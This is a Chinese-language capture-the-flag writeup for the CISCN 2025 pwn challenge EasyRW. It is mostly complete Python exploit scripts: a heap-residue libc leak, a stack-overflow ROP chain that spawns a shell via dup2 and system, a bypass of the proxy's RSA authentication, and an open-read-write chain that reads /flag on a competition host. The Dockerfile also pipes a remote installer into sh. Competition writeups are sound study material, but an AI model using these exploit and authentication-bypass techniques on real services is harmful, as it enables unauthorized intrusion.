35 min to read
第 19 届国赛(2025)writeup
第十九届全国大学生信息安全竞赛 (创新实践能力赛)暨第三届“长城杯” 网数智安全大赛(防护赛)初赛(CISCN & CCB 2025) writeup
今年的 pwn 还是有点难度的,很 realworld,交互 pwn 是真的多,以及解数最多的题是 kernel 感觉有点难绷
本人做了 pwn 方向 EasyRW 一题,可能会复现 minihttpd 一题 writeup,同时应队友要求贴一下 crypto 方向的脚本
EasyRW
交互 pwn,给了一个 server 一个 proxy,proxy 监听 7777 端口,server 监听 8888 端口,proxy 会把请求转发给 server,然后 server 会返回结果给 proxy,proxy 再返回给客户端
环境:只给了一个 2.31 的 libc 没给 libcrypto 和一些其他的依赖,根据过往经验 libcrypto 的依赖项 patching 有点恶心,所以就写了 Dockerfile,来在 Docker 里跑调试
如下
FROM ubuntu:20.04
# Avoid interactive prompts during install
ENV DEBIAN_FRONTEND=noninteractive
# Update and install required packages (including gdb + pwndbg deps)
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
libssl1.1 \
patchelf \
gdb \
curl \
python3 \
python3-pip \
python3-dev \
xz-utils \
&& rm -rf /var/lib/apt/lists/*
RUN curl -qsL 'https://install.pwndbg.re' | sh -s -- -t pwndbg-gdb
WORKDIR /app
COPY proxy server libc-2.31.so ./
# (Optional) Use patchelf so the binaries directly reference the local libc
# If you prefer only LD_PRELOAD-based hijacking, you can remove this block.
RUN set -eux; \
for bin in proxy server; do \
if [ -f "$bin" ]; then \
# Ensure the custom libc directory is in the search path
patchelf --set-rpath /app "$bin" || true; \
# Replace the NEEDED entry for libc if present
patchelf --replace-needed libc.so.6 libc-2.31.so "$bin" || true; \
fi; \
done
# Wrapper scripts that always run with the provided libc-2.31.so via LD_PRELOAD
RUN printf '#!/bin/sh\nLD_PRELOAD=/app/libc-2.31.so exec /app/proxy "$@"\n' > /usr/local/bin/run-proxy \
&& printf '#!/bin/sh\nLD_PRELOAD=/app/libc-2.31.so exec /app/server "$@"\n' > /usr/local/bin/run-server \
&& chmod +x /usr/local/bin/run-proxy /usr/local/bin/run-server
CMD ["/bin/bash"]
server exploit
大概是个 server 套菜单堆,给了一个后门,大概是当给 server 的输入格式解析错误的话,它在尝试 log 错误的时候会调用一个 0x1B10 函数,里面有栈溢出
所以我们第一步只需要拿到 libc 地址,而这很显然是通过我们的菜单堆来实现的,原理也很简单,它 create 堆块的时候,填内容是用的 strncpy 所以不会给结尾补 0,我们可以 create 一个堆块,然后 show 出来,就能泄露残留的堆内容,如果其中含有 libc 的相对地址就能泄露出来
这一步的堆风水是先整出一个 unsorted bin 堆块,然后从中 malloc 出来一个加上 header 为 0x20 大小的堆块(为了能 leak 全,我们给 malloc 传入的参数为 1),之后打印该堆块的内容即可完成 leak
本步需要注意的是 python encode/decode 的问题,可能会吞掉部分字节,所以可以直接全程对 bytes 操作
libc leak
import socket
from time import sleep
HOST = "127.0.0.1"
PORT = 7777
def p64(val: int) -> bytes:
return val.to_bytes(8, 'little')
def build_request(username: str, command: str, param1: str = "", param2: str = "", param3: str = "") -> bytes:
json_body = (
f'{{"command":"{command}","param1":"{param1}",'
f'"param2":"{param2}","param3":"{param3}"}}'
)
request = f"rtsp://{username}/{json_body}"
return request.encode()
def send_request(req: bytes) -> bytes:
with socket.create_connection((HOST, PORT)) as s:
s.sendall(req)
resp = s.recv(4096)
return resp
def send_request_twice(req1: bytes, req2: bytes) -> bytes:
with socket.create_connection((HOST, PORT)) as s:
s.sendall(req1)
sleep(0.1)
s.sendall(req2)
resp = s.recv(4096)
return resp
def add(username: str, size: int, payload: str) -> bytes:
req = build_request(username, "add", str(size), payload, "")
return send_request(req)
def delete(username: str, index: int) -> bytes:
req = build_request(username, "delete", str(index), "", "")
return send_request(req)
def edit(username: str, index: int, new_data: str) -> bytes:
req = build_request(username, "edit", str(index), new_data, "")
return send_request(req)
def show(username: str, index: int) -> bytes:
req = build_request(username, "show", str(index), "", "")
return send_request(req)
def main() -> None:
username = "qgyk8" # replace with a username that passes the SHA-1 check
# Example: add size=1, payload="a"
for i in range(8):
response = add(username, 1024, "a")
print(response)
response1 = add(username, 0x50, "b")
print(response1)
for i in range(8):
response2 = delete(username, i)
print(response2)
response3 = add(username, 1,"c")
print(response3)
response4 = show(username, 9)
print(response4) # likely contains leaked data
libc_leak = response4.split(b"1:")[1]
libc_leak = libc_leak[:libc_leak.index(b"\n")]
print(f"Leaked libc address: {libc_leak}")
print(f"libc_leak: {hex(int.from_bytes(libc_leak, 'little'))}")
libc_base = int.from_bytes(libc_leak, 'little') - 0x1ecf63
print(f"Calculated libc base: {hex(libc_base)}")
if __name__ == "__main__":
main()
之后再直接发一次格式不对的 payload ,触发那个 stack overflow 函数就可以劫持控制流了
想的是直接 dup2(4,0/1/2) 然后 system(“/bin/sh”) 拿 shell,就像之前的 这个博客 的板子,如果直接运行 server 的话确实可以拿到 shell
def main() -> None:
username = "qgyk8" # replace with a username that passes the SHA-1 check
# Example: add size=1, payload="a"
for i in range(8):
response = add(username, 1024, "a")
print(response)
response1 = add(username, 0x50, "b")
print(response1)
for i in range(8):
response2 = delete(username, i)
print(response2)
response3 = add(username, 1,"c")
print(response3)
response4 = show(username, 9)
print(response4) # likely contains leaked data
libc_leak = response4.split(b"1:")[1]
libc_leak = libc_leak[:libc_leak.index(b"\n")]
print(f"Leaked libc address: {libc_leak}")
print(f"libc_leak: {hex(int.from_bytes(libc_leak, 'little'))}")
libc_base = int.from_bytes(libc_leak, 'little') - 0x1ecf63
print(f"Calculated libc base: {hex(libc_base)}")
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x2601f
system = libc_base + 0x052294
binsh = libc_base + 0x01B45BD
ret = pop_rdi_ret + 1 # for stack alignment
cfd = 4
dup2 = 0x10EAE0 + libc_base
payload = p64(pop_rdi_ret) + p64(cfd)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(dup2)
# dup2(cfd, 1)
payload += p64(pop_rdi_ret) + p64(cfd)
payload += p64(pop_rsi_ret) + p64(1)
payload += p64(dup2)
# dup2(cfd, 2)
payload += p64(pop_rdi_ret) + p64(cfd)
payload += p64(pop_rsi_ret) + p64(2)
payload += p64(dup2)
payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)
full_payload = b"a"*0x28 + payload + b"\r\n"
with socket.create_connection((HOST, PORT)) as s:
s.sendall(full_payload)
print("Exploit sent, check for shell!")
time.sleep(1)
s.sendall(b"ls -al\n")
print("Sent whoami, waiting for recv")
resp = s.recv(4096)
print(resp)
if __name__ == "__main__":
main()
注意后面往 shell 发东西需要和前面共用一个 socket connection
proxy
proxy 这块调试有点恶心,主要它是每轮都 fork,所以起 pwndbg set follow-fork-mode child 只能跟踪到第一个子进程,后续的子进程就没法跟踪了
import socket
import struct
from time import sleep
# Backend RTSP server details (behind the proxy)
BACKEND_HOST = "127.0.0.1" # kept for reference; not used directly
BACKEND_PORT = 7777 # kept for reference; not used directly
# Proxy details
PROXY_HOST = "127.0.0.1"
PROXY_PORT = 8888
# Proxy command IDs (see proxy_analysis.md)
CMD_AUTH_REFRESH = 0xFFFF2525 # get cookie (after config)
CMD_FORWARD = 0x7F687985 # forward request to 127.0.0.1:7777
CMD_SET_CONFIG = 0x85856547 # set RSA config
# FNV-1a("hack") constant used in proxy_analysis.md
FNV_HACK = 0xE3D4B428FD598E3E
def p64(val: int) -> bytes:
return val.to_bytes(8, "little")
# -----------------------
# Proxy helper functions
# -----------------------
_cookie: bytes | None = None
def _proxy_send(cmd: int, payload: bytes) -> bytes:
"""Send a single proxy command and return the raw response.
Protocol: [4-byte cmd][4-byte size][payload], all lengths in big-endian.
"""
header = struct.pack(">II", cmd, len(payload))
with socket.create_connection((PROXY_HOST, PROXY_PORT)) as s:
s.sendall(header + payload)
# The proxy reads at most 0x3ff bytes for the response in forward(),
# and other commands send small text replies, so 4096 is safe here.
resp = s.recv(4096)
return resp
def _proxy_set_config() -> None:
"""Set RSA config so that authentication becomes trivial.
As described in proxy_analysis.md, we send:
n=e3d4b428fd598e3e&d=1
via command 0x85856547.
"""
payload = b"n=e3d4b428fd598e3e&d=1"
_proxy_send(CMD_SET_CONFIG, payload)
def _proxy_get_cookie() -> bytes:
"""Authenticate to the proxy and obtain the 32-byte cookie.
Uses command 0xFFFF2525 with an 8-byte signature value crafted so that
order_convert(v16)^d mod n matches the FNV-1a("hack") hash.
"""
global _cookie
if _cookie is not None:
return _cookie
# Ensure config is set to the easy values first.
_proxy_set_config()
# Payload is the 8-byte signature in *network* byte order.
sig_bytes = struct.pack(">Q", FNV_HACK)
resp = _proxy_send(CMD_AUTH_REFRESH, sig_bytes)
# On success the proxy sends back exactly 32 raw cookie bytes.
if not resp or resp.startswith(b"AUTH_FAIL") or len(resp) < 32:
raise RuntimeError(f"Proxy auth failed, response={resp!r}")
_cookie = resp[:32]
return _cookie
def _proxy_forward(data: bytes) -> bytes:
"""Forward arbitrary data to 127.0.0.1:7777 via the proxy.
The payload is: [32-byte cookie][data].
"""
cookie = _proxy_get_cookie()
payload = cookie + data
resp = _proxy_send(CMD_FORWARD, payload)
# Possible textual errors from the proxy.
if resp.startswith(b"BAD_COOKIE"):
raise RuntimeError("Proxy reported BAD_COOKIE")
if resp.startswith(b"FORWARD_ERR"):
raise RuntimeError("Proxy reported FORWARD_ERR")
return resp
# -----------------------------
# Original RTSP helper methods
# -----------------------------
def build_request(username: str, command: str, param1: str = "", param2: str = "", param3: str = "") -> bytes:
"""Build a single RTSP request with embedded JSON command.
The server parses:
rtsp://<username>/{"command":"...","param1":"...","param2":"...","param3":"..."}
and then dispatches based on command/params.
"""
json_body = (
f'{{"command":"{command}","param1":"{param1}",' # noqa: E501
f'"param2":"{param2}","param3":"{param3}"}}'
)
request = f"rtsp://{username}/{json_body}"
return request.encode()
def send_request(req: bytes) -> bytes:
"""Send a single request via the proxy and return the response."""
return _proxy_forward(req)
def send_request_twice(req1: bytes, req2: bytes) -> bytes:
"""Send two logical requests over one backend connection via the proxy.
The proxy opens a fresh TCP connection to 127.0.0.1:7777 for each
forward command and writes the payload in one shot. From the backend
server's perspective, it simply receives the concatenation of the two
requests on a single connection, which is sufficient for this exploit
(the original direct exploit just did two sendall() calls on one socket).
"""
combined = req1 + req2
return _proxy_forward(combined)
这里队友给了一个 LD_PRELOAD 调试法,大概就是手写一个 strncmp 函数放到某个 so 里面,然后用 LD_PRELOAD 加载进去,给 proxy 使用,命令是 LD_PRELOAD="/app/libstrncmp.so /app/libc-2.31.so" ./proxy
#include <dlfcn.h>
#include <stdio.h>
typedef int (*strncmp_t)(char *a, char *b, int len);
strncmp_t real_strncmp;
int strncmp(char *a, char *b, int len) {
fprintf(stderr, "called strncmp(%s, %s, %d)\n", a, b, len);
for (int i = 0;i < len;i++) {
fprintf(stderr, "a[%d]=%02x\n", i, (unsigned int)a[i]);
}
for (int i = 0;i < len;i++) {
fprintf(stderr, "b[%d]=%02x\n", i, (unsigned int)b[i]);
}
for (int i = 0;i < len;i++) {
if (a[i] != b[i])
return 1;
}
return 0;
}
这样运行 proxy 的时候就能看到输出了,belike
called strncmp(n=e3d4b428fd598e3e, n=, 2)
a[0]=6e
a[1]=3d
b[0]=6e
b[1]=3d
called strncmp(d=1, n=, 2)
a[0]=64
a[1]=3d
b[0]=6e
b[1]=3d
经过 debug,我们发现有两个地方不对:首先是传 n 和 d 的时候,有一个 bss 段栈溢出,需要先 pad 0x100 字节,此外是它的 auth 是我们先发两字节的 sig_bytes 签名,然后拿到 cookie 在后续请求中发送
修改脚本的交互方式如下,为了方便阅读,这是赛后 AI 润色过的版本,已保证正确性。
import socket
import struct
from time import sleep
from typing import Optional
# Backend RTSP server details (behind the proxy)
BACKEND_HOST = "127.0.0.1" # kept for reference; not used directly
BACKEND_PORT = 7777 # kept for reference; not used directly
# Proxy details
PROXY_HOST = "127.0.0.1"
PROXY_PORT = 8888
# Proxy command IDs (see proxy_analysis.md)
CMD_AUTH_REFRESH = 0xFFFF2525 # get cookie (after config)
CMD_FORWARD = 0x7F687985 # forward request to 127.0.0.1:7777
CMD_SET_CONFIG = 0x85856547 # set RSA config
# FNV-1a("hack") constant used in proxy_analysis.md
FNV_HACK = 0xE3D4B428FD598E3E
def p64(val: int) -> bytes:
return val.to_bytes(8, "little")
# -----------------------
# Proxy helper functions
# -----------------------
_cookie: Optional[bytes] = None
def _proxy_send(cmd: int, payload: bytes) -> bytes:
"""Send a single proxy command and return the raw response.
Protocol: [4-byte cmd][4-byte size][payload], all lengths in big-endian.
"""
header = struct.pack(">II", cmd, len(payload))
with socket.create_connection((PROXY_HOST, PROXY_PORT)) as s:
print(b"sending proxy:", cmd, payload)
s.sendall(header + payload)
# The proxy reads at most 0x3ff bytes for the response in forward(),
# and other commands send small text replies, so 4096 is safe here.
resp = s.recv(4096)
print("received resp: ", resp)
return resp
def _proxy_set_config() -> None:
"""Set RSA config so that authentication becomes trivial.
As described in proxy_analysis.md, we send:
n=e3d4b428fd598e3e&d=1
via command 0x85856547.
"""
payload = b"n=e3d4b428fd598e3e&d=1"
_proxy_send(CMD_SET_CONFIG, b"a"*0x100 + payload)
def _proxy_get_cookie() -> bytes:
"""Authenticate to the proxy and obtain the 32-byte cookie.
Uses command 0xFFFF2525 with an 8-byte signature value crafted so that
order_convert(v16)^d mod n matches the FNV-1a("hack") hash.
"""
global _cookie
if _cookie is not None:
return _cookie
sig_bytes = struct.pack(">Q", 0x21e6)
# Ensure config is set to the easy values first.
_proxy_set_config()
# Payload is the 8-byte signature in *network* byte order.
resp = _proxy_send(CMD_AUTH_REFRESH, sig_bytes)
# On success the proxy sends back exactly 32 raw cookie bytes.
if not resp or resp.startswith(b"AUTH_FAIL") or len(resp) < 32:
raise RuntimeError(f"Proxy auth failed, response={resp!r}")
_cookie = resp[:32]
return _cookie
def _proxy_forward(data: bytes) -> bytes:
"""Forward arbitrary data to 127.0.0.1:7777 via the proxy.
The payload is: [32-byte cookie][data].
"""
cookie = _proxy_get_cookie()
payload = cookie + data
resp = _proxy_send(CMD_FORWARD, payload)
# Possible textual errors from the proxy.
if resp.startswith(b"BAD_COOKIE"):
raise RuntimeError("Proxy reported BAD_COOKIE")
if resp.startswith(b"FORWARD_ERR"):
raise RuntimeError("Proxy reported FORWARD_ERR")
return resp
# -----------------------------
# Original RTSP helper methods
# -----------------------------
def build_request(username: str, command: str, param1: str = "", param2: str = "", param3: str = "") -> bytes:
"""Build a single RTSP request with embedded JSON command.
The server parses:
rtsp://<username>/{"command":"...","param1":"...","param2":"...","param3":"..."}
and then dispatches based on command/params.
"""
json_body = (
f'{{"command":"{command}","param1":"{param1}",' # noqa: E501
f'"param2":"{param2}","param3":"{param3}"}}'
)
request = f"rtsp://{username}/{json_body}"
return request.encode()
def send_request(req: bytes) -> bytes:
"""Send a single request via the proxy and return the response."""
return _proxy_forward(req)
def send_request_twice(req1: bytes, req2: bytes) -> bytes:
"""Send two logical requests over one backend connection via the proxy.
The proxy opens a fresh TCP connection to 127.0.0.1:7777 for each
forward command and writes the payload in one shot. From the backend
server's perspective, it simply receives the concatenation of the two
requests on a single connection, which is sufficient for this exploit
(the original direct exploit just did two sendall() calls on one socket).
"""
combined = req1 + req2
return _proxy_forward(combined)
proxy 这边是打通了,但是远程没有回显,看到 server 拿 shell 了但是 shell 回不到我们这边,因为有 proxy 的转发,所以我们没法和 shell 进行多轮交互
所以最后一步的改进是把反弹 shell 改成 orw,为以下代码
pop_rdi_ret = libc_base + 0x0000000000023B6A
pop_rsi_ret = libc_base + 0x2601F
pop_rcx_rbx_ret = 0x010257e + libc_base
pop_rdx_r12_ret = libc_base + 0x119431
system = libc_base + 0x052294
binsh = libc_base + 0x01B45BD
ret = pop_rdi_ret + 1 # for stack alignment
cfd = 4
dup2 = libc_base + 0x10EAE0
flag_addr = 0x1ede50 + libc_base
store = 0x0a8621 + libc_base # 0x00000000000a8621 : mov qword ptr [rdx], rcx ; ret
pop = 0x0000010257d + libc_base # pop rdx ; pop rcx ; pop rbx ; ret
payload = p64(pop) + p64(flag_addr) + b"/flag\x00".ljust(8, b"\x00")+p64(0) + p64(store)
rop=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(libc_base+0x10DF00)
rop+=p64(pop_rdi_ret)+p64(5)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_r12_ret)+p64(0x30) + p64(0)+p64(libc_base+0x10E1E0)
rop+=p64(pop_rdi_ret)+p64(4)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_r12_ret)+p64(0x30) + p64(0)+p64(libc_base+0x10E280)
full_payload = b"a" * 0x28 + payload + rop + b"\r\n"
re1 = send_request_twice(full_payload, b"whoami\n")
print(re1)
# print("Exploit sent, check for shell!")
这样就能把 flag 读出来了,本地能出,远程不行,问题是 auth failed,感觉本地和远程不一致的可能也就 cookie.txt 和 config.txt 两个文件了,观察到写 cookie.txt 是用的 fwrite,之前的内容可能覆盖不全,所以改 _proxy_set_config() 为如下即可远程拿 flag
def _proxy_set_config() -> None:
"""Set RSA config so that authentication becomes trivial.
As described in proxy_analysis.md, we send:
n=e3d4b428fd598e3e&d=1
via command 0x85856547.
"""
#payload = b"A"*256 + b"n=e3d4b428fd598e3e&d=1"
payload = b"A"*256 + b"n=ffff&d=1" + b" " * 20
_proxy_send(CMD_SET_CONFIG, payload)
完整 exp
import socket
import struct
from time import sleep
# Backend RTSP server details (behind the proxy)
BACKEND_HOST = "127.0.0.1" # kept for reference; not used directly
BACKEND_PORT = 7777 # kept for reference; not used directly
# Proxy details
PROXY_HOST = "47.93.84.239"
PROXY_PORT = 32802
#PROXY_HOST = "127.0.0.1"
#PROXY_PORT = 8888
# Proxy command IDs (see proxy_analysis.md)
CMD_AUTH_REFRESH = 0xFFFF2525 # get cookie (after config)
CMD_FORWARD = 0x7F687985 # forward request to 127.0.0.1:7777
CMD_SET_CONFIG = 0x85856547 # set RSA config
# FNV-1a("hack") constant used in proxy_analysis.md
FNV_HACK = 0xE3D4B428FD598E3E
def p64(val: int) -> bytes:
return val.to_bytes(8, "little")
# -----------------------
# Proxy helper functions
# -----------------------
_cookie: bytes = None
configured = False
sig = 0
def _proxy_send(cmd: int, payload: bytes) -> bytes:
"""Send a single proxy command and return the raw response.
Protocol: [4-byte cmd][4-byte size][payload], all lengths in big-endian.
"""
header = struct.pack(">II", cmd, len(payload))
with socket.create_connection((PROXY_HOST, PROXY_PORT)) as s:
s.sendall(header + payload)
# The proxy reads at most 0x3ff bytes for the response in forward(),
# and other commands send small text replies, so 4096 is safe here.
resp = s.recv(4096)
return resp
def _proxy_set_config() -> None:
"""Set RSA config so that authentication becomes trivial.
As described in proxy_analysis.md, we send:
n=e3d4b428fd598e3e&d=1
via command 0x85856547.
"""
#payload = b"A"*256 + b"n=e3d4b428fd598e3e&d=1"
payload = b"A"*256 + b"n=ffff&d=1" + b" " * 20
_proxy_send(CMD_SET_CONFIG, payload)
def _proxy_get_cookie() -> bytes:
"""Authenticate to the proxy and obtain the 32-byte cookie.
Uses command 0xFFFF2525 with an 8-byte signature value crafted so that
order_convert(v16)^d mod n matches the FNV-1a("hack") hash.
"""
global _cookie
if _cookie is not None:
return _cookie
# Ensure config is set to the easy values first.
global configured
if not configured:
_proxy_set_config()
configured = True
# Payload is the 8-byte signature in *network* byte order.
sig_bytes = struct.pack(">Q", sig)
#sig_bytes = struct.pack(">Q", 0)
resp = _proxy_send(CMD_AUTH_REFRESH, sig_bytes)
# On success the proxy sends back exactly 32 raw cookie bytes.
if not resp or resp.startswith(b"AUTH_FAIL") or len(resp) < 32:
raise RuntimeError(f"Proxy auth failed, response={resp!r}")
_cookie = resp[:32]
return _cookie
def _proxy_forward(data: bytes) -> bytes:
"""Forward arbitrary data to 127.0.0.1:7777 via the proxy.
The payload is: [32-byte cookie][data].
"""
cookie = _proxy_get_cookie()
payload = cookie + data
resp = _proxy_send(CMD_FORWARD, payload)
# Possible textual errors from the proxy.
if resp.startswith(b"BAD_COOKIE"):
raise RuntimeError("Proxy reported BAD_COOKIE")
if resp.startswith(b"FORWARD_ERR"):
raise RuntimeError("Proxy reported FORWARD_ERR")
return resp
# -----------------------------
# Original RTSP helper methods
# -----------------------------
def build_request(username: str, command: str, param1: str = "", param2: str = "", param3: str = "") -> bytes:
"""Build a single RTSP request with embedded JSON command.
The server parses:
rtsp://<username>/{"command":"...","param1":"...","param2":"...","param3":"..."}
and then dispatches based on command/params.
"""
json_body = (
f'{{"command":"{command}","param1":"{param1}",' # noqa: E501
f'"param2":"{param2}","param3":"{param3}"}}'
)
request = f"rtsp://{username}/{json_body}"
return request.encode()
def send_request(req: bytes) -> bytes:
"""Send a single request via the proxy and return the response."""
return _proxy_forward(req)
def send_request_twice(req1: bytes, req2: bytes) -> bytes:
"""Send two logical requests over one backend connection via the proxy.
The proxy opens a fresh TCP connection to 127.0.0.1:7777 for each
forward command and writes the payload in one shot. From the backend
server's perspective, it simply receives the concatenation of the two
requests on a single connection, which is sufficient for this exploit
(the original direct exploit just did two sendall() calls on one socket).
"""
combined = req1 + req2
return _proxy_forward(combined)
def add(username: str, size: int, payload: str) -> bytes:
req = build_request(username, "add", str(size), payload, "")
return send_request(req)
def delete(username: str, index: int) -> bytes:
req = build_request(username, "delete", str(index), "", "")
return send_request(req)
def edit(username: str, index: int, new_data: str) -> bytes:
req = build_request(username, "edit", str(index), new_data, "")
return send_request(req)
def show(username: str, index: int) -> bytes:
req = build_request(username, "show", str(index), "", "")
return send_request(req)
# -----------------------------
# Exploit logic (unchanged)
# -----------------------------
def main() -> None:
global sig
#for i in range(65536):
for i in [0x21e6]:
print("Trying", i)
sig = i
try:
username = "qgyk8" # replace with a username that passes the SHA-1 check
# Heap grooming: create and free chunks to set up the leak.
for i in range(8):
response = add(username, 1024, "a")
print(response)
response1 = add(username, 0x50, "b")
print(response1)
for i in range(8):
response2 = delete(username, i)
print(response2)
response3 = add(username, 1, "c")
print(response3)
response4 = show(username, 9)
print(response4) # likely contains leaked data
libc_leak = response4.split(b"1:")[1]
libc_leak = libc_leak[: libc_leak.index(b"\n")]
print(f"Leaked libc address: {libc_leak}")
print(f"libc_leak: {hex(int.from_bytes(libc_leak, 'little'))}")
libc_base = int.from_bytes(libc_leak, "little") - 0x1ECF63
print(f"Calculated libc base: {hex(libc_base)}")
pop_rdi_ret = libc_base + 0x0000000000023B6A
pop_rsi_ret = libc_base + 0x2601F
pop_rcx_rbx_ret = 0x010257e + libc_base
pop_rdx_r12_ret = libc_base + 0x119431
system = libc_base + 0x052294
binsh = libc_base + 0x01B45BD
ret = pop_rdi_ret + 1 # for stack alignment
cfd = 4
dup2 = libc_base + 0x10EAE0
flag_addr = 0x1ede50 + libc_base
store = 0x0a8621 + libc_base # 0x00000000000a8621 : mov qword ptr [rdx], rcx ; ret
pop = 0x0000010257d + libc_base # pop rdx ; pop rcx ; pop rbx ; ret
payload = p64(pop) + p64(flag_addr) + b"/flag\x00".ljust(8, b"\x00")+p64(0) + p64(store)
rop=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(libc_base+0x10DF00)
rop+=p64(pop_rdi_ret)+p64(5)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_r12_ret)+p64(0x30) + p64(0)+p64(libc_base+0x10E1E0)
rop+=p64(pop_rdi_ret)+p64(4)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_r12_ret)+p64(0x30) + p64(0)+p64(libc_base+0x10E280)
full_payload = b"a" * 0x28 + payload + rop + b"\r\n"
re1 = send_request_twice(full_payload, b"whoami\n")
print(re1)
# print("Exploit sent, check for shell!")
break
except Exception as e:
import traceback
traceback.print_exc()
pass
if __name__ == "__main__":
main()
Comments